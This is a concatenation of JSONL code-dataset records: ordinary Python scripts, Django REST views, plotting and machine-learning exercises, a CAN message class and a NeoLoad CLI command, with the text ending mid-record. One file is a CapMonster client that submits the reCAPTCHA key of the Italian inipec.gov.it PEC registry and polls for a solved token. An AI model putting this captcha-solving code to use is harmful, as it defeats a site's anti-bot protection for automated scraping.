Fahrenheit))\n\n#Problem 2\na = 78000\nr = 6.45\nt = (a/100)*r\nprint (\"The property tax of a property with a value of ${} and a rate of ${} per $100 is ${:.2f}\" .format(a, r, t))\n\n#Problem 3\ntest1 = 89\ntest2 = 72\ntest3 = 86\ntestAv = (test1+test2+test3)/3\nprint (\"{:<6}\\t\\t{:<6}\\t{:<6}\\t{:<7}\".format(\"Test 1\",\"Test 2\", \"Test 3\", \"Average\"))\nprint (\"{:<6.0f}\\t\\t{:<6.0f}\\t{:<6.0f}\\t{:<7.0f}\" .format(test1, test2, test3 ,testAv))\n\n#Problem 4\nh = 38\nr = 4.75\np = h*r\nprint (\"Todd worked {} hours at a rate of ${} and earned {:.2f}.\" .format(h, r, p))\n\n","sub_path":"Python Program Assignments/Program2.py","file_name":"Program2.py","file_ext":"py","file_size_in_byte":705,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"535153670","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# from __future__ import unicode_literals\n# from stuapp.models import Course\n# from stuapp.serializers import CourseSerializer\n# from rest_framework import generics\n#\n#\n# class CouList(generics.ListCreateAPIView):\n# queryset = Course.objects.all()\n# serializer_class = CourseSerializer\n#\n#\n# class CouDetail(generics.RetrieveUpdateDestroyAPIView):\n# queryset = Course.objects.all()\n# serializer_class = CourseSerializer\n\nfrom rest_framework import status\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom stuapp.models import Course\nfrom stuapp.serializers import CourseSerializer\n\n\n@api_view(['GET', 'POST'])\ndef CouList(request):\n \"\"\"\n POST 创建课程; GET 获取课程列表\n \"\"\"\n if request.method == 'GET':\n course = Course.objects.all()\n serializer = CourseSerializer(course, many=True)\n return Response(serializer.data)\n\n elif request.method == 'POST':\n serializer = CourseSerializer(data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\n@api_view(['GET', 'PUT', 'DELETE'])\ndef CouDetail(request, pk):\n \"\"\"\n GET 获取某课程详情; PUT 更新某课程; DELETE 删除某课程\n \"\"\"\n try:\n course = Course.objects.get(pk=pk)\n except Course.DoesNotExist:\n return Response(status=status.HTTP_404_NOT_FOUND)\n\n if request.method == 'GET':\n serializer = CourseSerializer(course)\n return Response(serializer.data)\n\n elif request.method == 'PUT':\n serializer = CourseSerializer(course, data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n elif request.method == 'DELETE':\n course.delete()\n return Response(status=status.HTTP_204_NO_CONTENT)","sub_path":"stuapp/couviews.py","file_name":"couviews.py","file_ext":"py","file_size_in_byte":2118,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"305335334","text":"import pandas as pd\nimport requests\nfrom bs4 import BeautifulSoup\nimport csv\npath = \"D:\\\\New folder\\out\\ktunotifications.csv\"\npage = requests.get('https://ktu.edu.in/eu/core/announcements.htm')\nsoup = BeautifulSoup(page.content, 'html.parser')\ncontents = soup.find(class_='c-details')\nitems= contents.find_all('tr')\n\ndate = [item.find(class_='news-date').get_text() for item in items]\nmaindata = []\nsubdata = []\ni = 0\nwhile len(items)>i:\n data = items[i].get_text().splitlines()\n while ('' in data):\n data.remove('')\n maindata.append(data[3])\n subdata.append(data[4:])\n i = i + 1\nwhile ('' in maindata):\n maindata.remove('')\nwhile ('' in subdata):\n subdata.remove()\n\nktunotifications = pd.DataFrame(\n {\n 'Date': date,\n 'notificatin': maindata,\n 'details': subdata,\n })\n\n\n#print(weatherdata)\nktunotifications.to_csv(path)\n","sub_path":"ktunotificationsapp.py","file_name":"ktunotificationsapp.py","file_ext":"py","file_size_in_byte":876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"361168019","text":"from tkinter import * \nfrom backend_Masstamilan import Masstamilan\nfrom playsound import playsound \nfrom PIL import Image, ImageTk \n\nclass GUI: \n def __init__(self):\n self.mass = Masstamilan()\n \n self.root = Tk()\n self.name_var=StringVar()\n self.buttons = []\n self.root.geometry(\"500x100\") \n\n Label(self.root,text = \"Mass Tamilan\",fg=\"red\", pady=10, padx=10, font=10).pack() \n Label(self.root,text = \"Album\",).place(x = 90,y = 50) \n Entry(self.root, width=35,textvariable=self.name_var).place(x = 150,y = 50) \n Button(self.root,text = \"search\",command=lambda: self.searchBox()).place(x = 350,y = 47)\n\n\n\n def searchBox(self):\n self.root.geometry(\"650x550\") \n\n self.mass.search(self.name_var.get())\n for ranner in range(len(self.buttons)):\n self.buttons[ranner].destroy()\n \n self.wast_function()\n self.displayImage()\n self.buttons.clear()\n self.buttonlist(self.mass.datas)\n\n self.Info(self.mass.albumInfo())\n self.name_var.initialize(\"\")\n\n def buttonlist(self,songs):\n yl = 100\n i = 0\n for x in songs:\n self.buttons.append(Button(self.root,text =x['name'],command =lambda x=x: self.Playsong(x)))\n self.buttons[i].place(x = 10,y = yl)\n i +=1\n yl += 40\n\n def displayImage(self):\n global img\n path = 'temp.jpg'\n img = ImageTk.PhotoImage(Image.open(path), Image.ANTIALIAS)\n panel = Label(self.root, image = img)\n panel.place(x = 350,y = 150)\n\n \n\n def Playsong(self,songName): \n self.lab = Label(self.root,text =songName['name']+\"\\t\\t\").place(x = 300,y = 350)\n self.mass.playOnline(songName['link'])\n\n\n\n\n def Info(self,info):\n test = Label(self.root) \n test.destroy()\n test = Label(self.root,text =info).place(x = 259,y = 330,width=400) \n\n def wast_function(self,):\n noname = self.mass.album_name.split(\" \")\n bank= []\n for flash in noname:\n if flash == \"Mp3\":\n bank.pop()\n bank.pop()\n break\n bank.append(flash+\" \") \n out = \"\".join(bank)\n self.alNmae = Label(self.root,text = out+\"\\t\\t\\t\\t\\t\").place(x = 350,y = 130) \n\n def mainloop(self):\n self.root.mainloop()\n\nobj = GUI()\nobj.mainloop()\n\n\n\n\n","sub_path":"MusicPlayer/GUI_Masstamilan.py","file_name":"GUI_Masstamilan.py","file_ext":"py","file_size_in_byte":2326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"262725880","text":"from matplotlib import pyplot as plt\nimport numpy as np\nimport sys,os\nfrom . import bmp_tools\n\ndispersion_3_max = 10.0\ndispersion_2_max = 5.0\n\ndispersion_3_min = -dispersion_3_max\n\n#dispersion_3_multiplier = 1e-16\n#dispersion_3_multiplier = 1e-8\ndispersion_3_multiplier = 1e-9\n\ndispersion_2_min = -dispersion_2_max\n\n#dispersion_2_multiplier = 1e-10\n#dispersion_2_multiplier = 1e-4\ndispersion_2_multiplier = 1e-5\n\nc3min = dispersion_3_min*dispersion_3_multiplier\nc3max = dispersion_3_max*dispersion_3_multiplier\nc2min = dispersion_2_min*dispersion_2_multiplier\nc2max = dispersion_2_max*dispersion_2_multiplier\n\nc3range = c3max-c3min\nc2range = c2max-c2min\n\nauto_n_points = 6\n\ndef max(im):\n return np.median(np.max(im,axis=0))\n #return np.max(im)\n\ndef dispersion_ui(raw_data,func,c3min=c3min,c3max=c3max,c2min=c2min,c2max=c2max):\n\n markersize = 8.0\n \n global points,imaxes,imins\n points = []\n imaxes=[]\n imins=[]\n \n fig,(ax1,ax2) = plt.subplots(1,2)\n\n \n \n def onclick(event):\n\n if event.inaxes==ax1:\n return\n \n global points,imaxes,imins\n\n if event.button==1:\n xnewclick = event.xdata\n ynewclick = event.ydata\n \n click_points = [(xnewclick,ynewclick)]\n \n if xnewclickc2max or ynewclickc3max:\n print('Clearing.')\n points = []\n imaxes = []\n imins = []\n click_points = []\n ax2.cla()\n ax2.set_xlim([c2min,c2max])\n ax2.set_ylim([c3min,c3max])\n plt.draw()\n \n elif event.button==3:\n click_points = []\n if len(points):\n\n mat = np.array(points)\n c2vals = mat[:,0]\n c3vals = mat[:,1]\n c3start = c3vals.min()\n c3end = c3vals.max()\n c2start = c2vals.min()\n c2end = c2vals.max()\n else:\n c3start = c3min+c3range/float(auto_n_points)/2.0\n c3end = c3max-c3range/float(auto_n_points)/2.0\n c2start = c2min+c2range/float(auto_n_points)/2.0\n c2end = c2max-c2range/float(auto_n_points)/2.0\n \n for x in np.linspace(c2start,c2end,auto_n_points):\n for y in np.linspace(c3start,c3end,auto_n_points):\n click_points.append((x,y))\n\n\n for xnewclick,ynewclick in click_points:\n points.append((xnewclick,ynewclick))\n\n im = np.abs(func(raw_data,ynewclick,xnewclick))\n # get the max value before scaling\n imax = max(im)\n imaxes.append(imax)\n\n im = bmp_tools.logscale(im)\n\n peak_max = np.max(imaxes)\n peak_min = np.min(imaxes)\n\n ax1.cla()#plt.cla()\n ax1.imshow(im,aspect='auto',cmap='gray')\n\n ax2.cla()\n for p,imax in zip(points,imaxes):\n if imax==peak_max:\n ax2.plot(p[0],p[1],'ro',markersize=markersize)\n else:\n peak_rel = (imax-peak_min)/(peak_max-peak_min)\n b = 1.0-(np.clip(peak_rel,0,.5))\n ax2.plot(p[0],p[1],'go',markersize=markersize,color=(b,b,b),alpha=0.85)\n\n ax2.set_xlim([c2min,c2max])\n ax2.set_ylim([c3min,c3max])\n plt.pause(.000001)\n #plt.draw()\n\n cid = fig.canvas.mpl_connect('button_press_event',onclick)\n\n #plt.subplot(1,2,2,label='foo')\n ax2.set_xlim([c2min,c2max])\n ax2.set_ylim([c3min,c3max])\n plt.show()\n return points,imaxes\n\n","sub_path":"dispersion_ui.py","file_name":"dispersion_ui.py","file_ext":"py","file_size_in_byte":3717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"272925501","text":"import pandas as pd\nimport os, glob\nimport matplotlib.pyplot as plt\n\npath = os.path.join('.', 'jobspider', 'jobspider', 'raw')\nall_files = glob.glob(os.path.join(path, \"*.csv\"))\ndfs = (pd.read_csv(f) for f in all_files)\ndf = pd.concat(dfs, ignore_index=True)\nprint(df.columns)\ndf = df.drop(['@context', '@type',\n 'description', 'hiringOrganization.@type',\n 'hiringOrganization.logo',\n 'identifier.@type', 'identifier.name', 'identifier.value',\n 'jobBenefits', 'jobLocation.@type', 'jobLocation.address.@type',\n 'jobLocation.geo.@type', 'validThrough'], axis=1)\ndf['average_salary'] = (df['baseSalary.value.maxValue'] + df['baseSalary.value.minValue']) / 2\ndf['occupationalCategory'] = df['occupationalCategory']\\\n .apply(lambda x: x.split(\": \")[1])\\\n .apply(lambda x: x.split(\"']\")[0])\n\n\n\ndef make_mean_graph(df, field):\n df = df.dropna(subset=['average_salary'])\n df = df[df['baseSalary.value.unitText'] == 'YEAR']\n gdf = df.groupby(field)['average_salary'].agg(['median', 'count'])\n gdf = gdf.sort_values('count', ascending=False).head(10).sort_values('median', ascending=False)\n gdf = gdf.rename(index=str, columns={\"median\": \"salary\"})\n gdf.plot(y='salary', kind='barh', colormap='tab20b', figsize=(10, 5))\n plt.show()\n\ninteresting_fields = ['occupationalCategory', 'educationRequirements',\n 'experienceRequirements', 'employmentType',\n 'hiringOrganization.name', 'industry']\n\nfor field in interesting_fields:\n make_mean_graph(df, field)\n\ndf.to_csv('data.csv')","sub_path":"analyze.py","file_name":"analyze.py","file_ext":"py","file_size_in_byte":1566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"516801083","text":"import numpy as np\nfrom sklearn import datasets\nfrom sklearn.model_selection import train_test_split,cross_val_score\nfrom sklearn.neighbors import KNeighborsClassifier\nimport matplotlib.pyplot as plt\nfrom sklearn.externals import joblib\n\niris = datasets.load_iris()\niris_X = iris.data\niris_y = iris.target\n\nX_train,X_test,y_train,y_test = train_test_split(iris_X,iris_y,test_size=0.3)\nknn = KNeighborsClassifier()\nknn.fit(X_train,y_train)\njoblib.dump(knn, 'save/knn.pkl')\nknn.predict(X_test)\nknn.score(X_test, y_test)\n\nk_range = range(1, 31)\nk_scores = []\nfor k in k_range:\n knn = KNeighborsClassifier(n_neighbors=k)\n scores = cross_val_score(knn, iris_X, iris_y, cv=10, scoring='accuracy')\n k_scores.append(scores.mean())\n\nplt.plot(k_range, k_scores)\nplt.xlabel('Value of K for KNN')\nplt.ylabel('Cross-Validated Accuracy')\nplt.show()\n","sub_path":"scikit-learn/kNN.py","file_name":"kNN.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"510181868","text":"import matplotlib.pyplot as plt\nfrom collections import defaultdict\nimport numpy as np\n\ndef convert_to_arr(V_dict, has_ace):\n V_dict = defaultdict(float, V_dict) # assume zero if no key\n V_arr = np.zeros([10, 10]) # Need zero-indexed array for plotting\n for ps in range(12, 22):\n for dc in range(1, 11):\n V_arr[ps-12, dc-1] = V_dict[(ps, dc, has_ace)]\n return V_arr\n\ndef plot_3d_wireframe(axis, V_dict, has_ace):\n Z = convert_to_arr(V_dict, has_ace)\n dealer_card = list(range(1, 11))\n player_points = list(range(12, 22))\n X, Y = np.meshgrid(dealer_card, player_points)\n axis.plot_wireframe(X, Y, Z)\n\ndef plot_blackjack(V_dict):\n fig = plt.figure(figsize=[16,3])\n ax_no_ace = fig.add_subplot(121, projection='3d', title='No Ace')\n ax_has_ace = fig.add_subplot(122, projection='3d', title='With Ace')\n ax_no_ace.set_xlabel('Dealer Showing');\n ax_no_ace.set_ylabel('Player Sum')\n ax_has_ace.set_xlabel('Dealer Showing');\n ax_has_ace.set_ylabel('Player Sum')\n plot_3d_wireframe(ax_no_ace, V_dict, has_ace=False)\n plot_3d_wireframe(ax_has_ace, V_dict, has_ace=True)\n plt.show()\n","sub_path":"MonteCarloGPI/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":1150,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"365064281","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Apr 8 12:49:54 2019\r\n\r\n@author: Saiprasad\r\n\"\"\"\r\n\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\n\r\ndataset = pd.read_csv('Mall_Customers.csv')\r\nX = dataset.iloc[:,3:5].values\r\n# WCSS STORES THE DISTANCE OF POINTS IN A CLUSTER FROM ITS CENTROID\r\nwcss = []\r\nfor i in range(1,11):\r\n cluster = KMeans(n_clusters = i, init='k-means++',n_init = 10, max_iter = 300, random_state=0 )\r\n cluster.fit(X)\r\n wcss.append(cluster.inertia_)\r\n \r\nplt.plot(range(1,11),wcss)\r\n# THE ELBOW POINT IS CONSIDERED AS THE IDEAL NUMBER OF THE CLUSTERS\r\ncluster = KMeans(n_clusters = 5, init='k-means++',n_init = 10, max_iter = 300, random_state=0 )\r\ny_cluster = cluster.fit_predict(X)\r\n# PLOTTING THE CLUSTERS IN DIFFERENT COLOR, THE 'y_cluster==0' MAKES SURE THAT ONLY THOSE POINTS BELONGING TO CLUSTER 1 ARE PLOTTED IN THIS STATEMENT (FOR THE GIVEN COLOR)\r\nplt.scatter(X[y_cluster==0,0],X[y_cluster==0,1], s=100, c='red', label='cluster 0')\r\nplt.scatter(X[y_cluster==1,0],X[y_cluster==1,1], s=100, c='blue', label='cluster 1')\r\nplt.scatter(X[y_cluster==2,0],X[y_cluster==2,1], s=100, c='green', label='cluster 2')\r\nplt.scatter(X[y_cluster==3,0],X[y_cluster==3,1], s=100, c='yellow', label='cluster 3')\r\nplt.scatter(X[y_cluster==4,0],X[y_cluster==4,1], s=100, c='cyan', label='cluster 4')\r\n# IT GIVES US THE CHART OF THE COLORS AND THEIR CORRESPONDING VALUES\r\nplt.legend()\r\nplt.show()","sub_path":"K Means/KM_1.py","file_name":"KM_1.py","file_ext":"py","file_size_in_byte":1445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"95249854","text":"import struct\n\n'''\nGeneric class for CAN message\n'''\n\n\nclass CANMessage:\n DataFrame = 1\n RemoteFrame = 2\n ErrorFrame = 3\n OverloadFrame = 4\n\n def __init__(self, fid, length, data, extended, type): # Init EMPTY message\n self.frame_id = fid # Message ID\n self.frame_length = length # DATA length\n self.frame_data = data # DATA\n self.frame_ext = extended # 29 bit message ID - boolean flag\n\n self.frame_type = type\n\n self.frame_raw_id = ''\n self.frame_raw_length = ''\n self.frame_raw_data = ''\n\n self.parse_params()\n\n @classmethod\n def init_data(self, fid, length, data): # Init\n if length > 8:\n length = 8\n if 0 <= fid <= 0x7FF:\n extended = False\n elif 0x7FF < fid < 0x1FFFFFFF:\n extended = True\n else:\n fid = 0\n extended = False\n\n return CANMessage(fid, length, data, extended, 1)\n\n @classmethod\n def init_raw_data(self, fid, length, data): # Another way to init from raw data\n\n if len(fid) == 2:\n extended = False\n else:\n extended = True\n\n temp = CANMessage(0, 0, [], extended, 1)\n\n temp.set_raw_id = fid\n temp.set_raw_length = length\n temp.set_raw_data = data\n\n temp.parse_raw()\n\n return temp\n\n def parse_params(self):\n\n if not self.frame_ext:\n self.frame_raw_id = struct.pack(\"!H\", self.frame_id)\n else:\n self.frame_raw_id = struct.pack(\"!I\", self.frame_id)\n\n self.frame_raw_length = struct.pack(\"!B\", self.frame_length)\n self.frame_raw_data = ''.join(struct.pack(\"!B\", b) for b in self.frame_data)\n\n def parse_raw(self):\n\n if not self.frame_ext:\n self.frame_id = struct.unpack(\"!H\", self.frame_raw_id)[0]\n else:\n self.frame_id = struct.unpack(\"!I\", self.frame_raw_id)[0]\n\n self.frame_length = struct.unpack(\"!B\", self.frame_raw_length)[0]\n self.frame_data = [struct.unpack(\"!B\", x)[0] for x in self.frame_raw_data]\n\n\n'''\nClass to handle CAN messages and other data\n'''\n\n\nclass CANSploitMessage:\n def __init__(self): # Init EMPTY message\n\n self.debugText = \"\"\n self.CANFrame = None\n self.debugData = False\n self.CANData = False\n self.bus = 0\n","sub_path":"libs/can.py","file_name":"can.py","file_ext":"py","file_size_in_byte":2354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"624040740","text":"import random\n\nt = []\ndef calkowita():\n return random.randint(1, 50)\nfor i in range(0, 1000):\n t.append(calkowita())\nc = 0\nfor i in t:\n if i % 2 == 0:\n c += 1\nprint(\"Dla 1000 liczb wylosowanych z przedziału <1, 50>:\\nLiczby parzyste {}%\\nLiczby nieparzyste: {}%\".format(c/10, (len(t)-c)/10)) ","sub_path":"04-Subroutines/30.py","file_name":"30.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"604282910","text":"from conexion_bd import base_de_datos\nfrom sqlalchemy import Column, types\nfrom datetime import datetime\n\n\nclass LogModel(base_de_datos.Model):\n __tablename__ = 'logs'\n\n logId = Column(name='id', type_=types.Integer,\n autoincrement=True, primary_key=True)\n\n logFecha = Column(name='fecha', type_=types.DateTime(),\n default=datetime.utcnow)\n\n logRazon = Column(name='razon', type_=types.Text)\n","sub_path":"models/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"275011116","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport json\nimport sys\n\nfrom config import inbox_path\n\nreminders = json.loads(sys.argv[1].replace('\\n', ' '))\n\nres = []\n\nfor reminder in reminders:\n r = \"- \" + reminder[\"name\"]\n if reminder[\"completed\"]:\n r += \" @done(\" + reminder[\"completion_date\"] + ')'\n if reminder[\"priority\"] != \"0\":\n r += \" @priority(\" + reminder[\"priority\"] + \")\"\n if reminder[\"creation_date\"] != \"missing value\":\n r += \" @in(\" + reminder[\"creation_date\"] + \")\"\n if reminder[\"due_date\"] != \"missing value\":\n r += \" @due(\" + reminder[\"due_date\"] + \")\"\n if reminder[\"remind_me_date\"] != \"missing value\":\n r += \" @waiting(\" + reminder[\"remind_me_date\"] + \")\"\n if reminder[\"body\"] != \"missing value\":\n r += \"\\n\\t\" + \"\".join(reminder[\"body\"].split('\\n'))\n res.append(r)\n\nf = open(inbox_path, 'a')\nf.write(\"\\n\".join(res).encode('utf-8') + \"\\n\")\nf.close()\n","sub_path":"utilities/reminder_in.py","file_name":"reminder_in.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"618803139","text":"from django.urls import path\nfrom myapp.views import UserCreateView, ProductCreateView, Login, Logout, ProductPageView, PurchaseCreateView, \\\n PurchaseReturnCreateView, UpdateProductView, PurchasePageView, ReturnPageView, PurchaseDeleteView, ReturnDeleteView\n\nurlpatterns = [\n path('', ProductPageView.as_view(), name='base'),\n path('registration/', UserCreateView.as_view(), name='registration'),\n path('login/', Login.as_view(), name='login'),\n path('logout/', Logout.as_view(), name='logout'),\n path('create_product/', ProductCreateView.as_view(), name='product_create'),\n path('create_purchase/', PurchaseCreateView.as_view(), name='create_purchase'),\n path('purchase/', PurchasePageView.as_view(), name='purchase'),\n path('purchase_return/', PurchaseReturnCreateView.as_view(), name='purchase_return'),\n path('returns/', ReturnPageView.as_view(), name='returns'),\n path('delete_purchase/', PurchaseDeleteView.as_view(), name='delete_purchase'),\n path('delete_return/', ReturnDeleteView.as_view(), name='delete_return'),\n path('update_product/', UpdateProductView.as_view(), name='update_product'),\n]\n","sub_path":"myapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"297767352","text":"#!/usr/bin/python\nimport argparse\nimport numpy as np\nimport sys\n\nimport p05_normy_matice as normy\n\n\ndef jacoby(A, b, x, presnost=2, verbose=False):\n k = 0\n x_tmp = x[:]\n presnost = 10**(-presnost)\n\n M_iter = normy.iter_tvar(A)\n\n\n if not normy.check_norms(M_iter):\n print(\"Matica nesplna konvergencne kriterium\")\n sys.exit(1)\n\n if verbose:\n print(\"A: {}\".format(A))\n print(\"b: {}\".format(b))\n print(\"x: {}\".format(x))\n print(\"#\"*10 + \" Zaciatok vypoctu \" + \"#\"*10)\n\n while True:\n k += 1\n for i in range(len(A[0])): # pocet riadkov\n sum_1 = sum_2 = 0\n for j in range(i):\n sum_1 += A[i][j] * x[j]\n for j in range(i+1, len(A[0])):\n sum_2 += A[i][j] * x[j]\n x_tmp[i] = 1.0/A[i][i] * float(b[i] - sum_1 - sum_2)\n\n temp = zip(x_tmp, x)\n odchylka = max([abs(prvok[0] - prvok[1]) for prvok in temp])\n\n if verbose:\n print(\"Momentalna presnost: {}\".format(odchylka))\n print(\"k{}\\nx = {}\".format(k, x))\n\n if odchylka <= presnost and k > 2:\n print('-'*20)\n print(\"Vysledok je: {}\".format(x_tmp))\n print(\"Pouzitych bolo {} iteracii a presnost \"\\\n \"vysledku je +-{}\".format(k, presnost))\n break\n\n x = x_tmp[:]\n\n'''\nA = [[11, 2, 1],\n [1, 10, 2],\n [2, 3, -8]]\nb = [15, 16, 1]\nx = [0, 0, 0]\njacoby(A, b, x, 5, True)'''\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-v\", \"--verbose\", action=\"store_true\", default=False,\n help=\"Zapina rozsireny vypis.\")\n parser.add_argument(\"A\", help=\"Matica A napr. [[1,2],[3,4]]\")\n parser.add_argument(\"b\", help=\"Vektor pravej strany [3, 4, 5]\")\n parser.add_argument(\"x\", help=\"Pociatocna aproximacia [0, 0, 0]\")\n parser.add_argument(\"presnost\", type=int, help=\"Na kolko desatinych \"\\\n \"miest. (Musi byt vacsie ako 0)\", default=2)\n\n args = parser.parse_args()\n\n try:\n A = eval(args.A)\n b = eval(args.b)\n x = eval(args.x)\n except SyntaxError as err:\n print(\"Nespravne zadany vstup.\")\n parser.print_help()\n else:\n if (args.presnost > 0):\n jacoby(A, b, x, int(args.presnost), args.verbose)\n else:\n parser.print_help()","sub_path":"scripts/p06_jacobiho_metoda.py","file_name":"p06_jacobiho_metoda.py","file_ext":"py","file_size_in_byte":2398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"372997506","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jul 13 13:17:32 2019\n\n@author: veen\n\"\"\"\nimport netCDF4 as nc\nimport os\nimport shutil\nimport sys\nsys.path.insert(0, os.path.dirname(os.path.dirname(__file__))) #Add the Code directory to the path, to enable relative imports\nimport parameters as p\n\n\n\ndatedirs = os.listdir(p.basedir)\nfor datedir in datedirs:\n simdirs = os.listdir(p.basedir+'/'+datedir+'/Simulations')\n for simdir in simdirs:\n print(datedir, simdir)\n cdir = p.basedir+'/'+datedir+'/Simulations/'+simdir\n domain_subdir = [j for j in os.listdir(cdir) if os.path.isdir(cdir+'/'+j)][0]\n cdir += '/'+[j for j in os.listdir(cdir) if os.path.isdir(cdir+'/'+j)][0]\n \n if True:\n meta_filepath = cdir+'/metadata.nc'\n with nc.Dataset(meta_filepath, 'r+') as f:\n if not 'LaDInDegrees' in f.ncattrs():\n print('thissie')\n f.setncattr('LaDInDegrees', 52.5)\n f.setncattr('LoVInDegrees', 0.0)\n else:\n continue\n ","sub_path":"util/add_parameters_to_metafile.py","file_name":"add_parameters_to_metafile.py","file_ext":"py","file_size_in_byte":1104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"147464823","text":"from urllib.parse import quote\n\nimport click\n\nfrom commands import test_settings, test_results\nfrom neoload_cli_lib import running_tools, tools, rest_crud, user_data\n\n\n@click.command()\n@click.argument(\"name_or_id\", type=str, required=False)\n@click.option(\"--scenario\", help=\"select scenario\")\n@click.option(\"--name\", help=\"name of test results\")\n@click.option(\"--description\", help=\"description of test results\")\n@click.option(\"--as-code\", 'as_code', help=\"Comma-separated as-code files to use for the test.\")\n@click.option(\"--web-vu\", 'web_vu', help=\"The number of Web Virtual Users to be reserved for the test.\")\n@click.option(\"--sap-vu\", 'sap_vu', help=\"The number of SAP Virtual Users to be reserved for the test.\")\n@click.option(\"--cirix-vu\", 'citrix_vu', help=\"The number of Citrix Virtual Users to be reserved for the test.\")\n@click.option(\"-d\", \"--detached\", is_flag=True, help=\"Doesn't wait the end of test\")\n@click.option('--return-0', 'return_0', is_flag=True, default=False,\n help=\"return 0 when test is correctly launched, whatever the result of SLA\")\ndef cli(name_or_id, scenario, detached, name, description, as_code, web_vu, sap_vu, citrix_vu, return_0):\n \"\"\"run a test\"\"\"\n if not name_or_id or name_or_id == \"cur\":\n name_or_id = user_data.get_meta(test_settings.meta_key)\n\n is_id = tools.is_id(name_or_id)\n test_settings_json = tools.get_named_or_id(name_or_id, is_id, test_settings.__resolver)\n _id = test_settings_json['id']\n\n if scenario:\n rest_crud.patch('v2/test_result/' + _id, {'scenarioName': scenario})\n\n naming_pattern = name if name else test_settings_json['testResultNamingPattern']\n if not naming_pattern:\n naming_pattern = \"#${runID}\"\n naming_pattern = naming_pattern.replace('${runID}', str(test_settings_json['nextRunId']))\n\n # Sorry for that, post data are in the query string :'( :'(\n post_result = rest_crud.post(\n 'v2/tests/%s/start?%s' % (_id, create_data(naming_pattern, description, as_code, web_vu, sap_vu, citrix_vu)),\n {})\n user_data.set_meta(test_settings.meta_key, _id)\n user_data.set_meta(test_results.meta_key, post_result['resultId'])\n if not detached:\n running_tools.wait(post_result['resultId'], not return_0)\n else:\n tools.print_json(post_result)\n\n\ndef create_data(name, description, as_code, web_vu, sap_vu, citrix_vu):\n query = 'testResultName=' + quote(name)\n if description is not None:\n query += '&testResultDescription=' + quote(description)\n if as_code is not None:\n query += '&asCode=' + quote(as_code)\n if web_vu is not None:\n query += '&reservationWebVUs=' + web_vu\n if sap_vu is not None:\n query += '&reservationSAPVUs=' + sap_vu\n if citrix_vu is not None:\n query += '&reservationCitrixVUs=' + citrix_vu\n return query\n","sub_path":"neoload/commands/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":2843,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"472989205","text":"import requests, time, json\n\nCAPMOSTER_KEY = ''\n\ndef capmonster(site_key):\n payload = {\n \"clientKey\": CAPMOSTER_KEY,\n \"task\":\n {\n \"type\": \"NoCaptchaTaskProxyless\",\n \"websiteURL\": \"https://www.inipec.gov.it//cerca-pec/-/pecs/companies\",\n \"websiteKey\": site_key\n }\n }\n timeout = 300\n try:\n resp = requests.post('https://api.capmonster.cloud/createTask', json=payload, timeout=timeout)\n resp_json = json.loads(resp.text)\n error_code = resp_json['errorCode']\n if error_code:\n return False, error_code\n except Exception as e:\n print('Error type:', type(e))\n print('Capmonster service error to request:', e)\n return False, 'AZCAPTCHA service error: ' + str(e)\n\n captcha_id = resp_json['taskId']\n\n request_cnt = 0\n solution = None\n while 1:\n payload = {\n \"clientKey\": CAPMOSTER_KEY,\n \"taskId\": captcha_id\n }\n request_cnt += 1\n if request_cnt == 30 and not solution:\n return False, \"Captcha timeout\"\n try:\n resp = requests.post('https://api.capmonster.cloud/getTaskResult', json=payload, timeout=timeout)\n except:\n continue\n\n resp_json = json.loads(resp.text)\n solution = resp_json['solution']\n if solution:\n break\n else:\n time.sleep(1)\n\n return True, solution['gRecaptchaResponse']","sub_path":"capmonster.py","file_name":"capmonster.py","file_ext":"py","file_size_in_byte":1492,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"116940914","text":"from testhub_restapi.common import 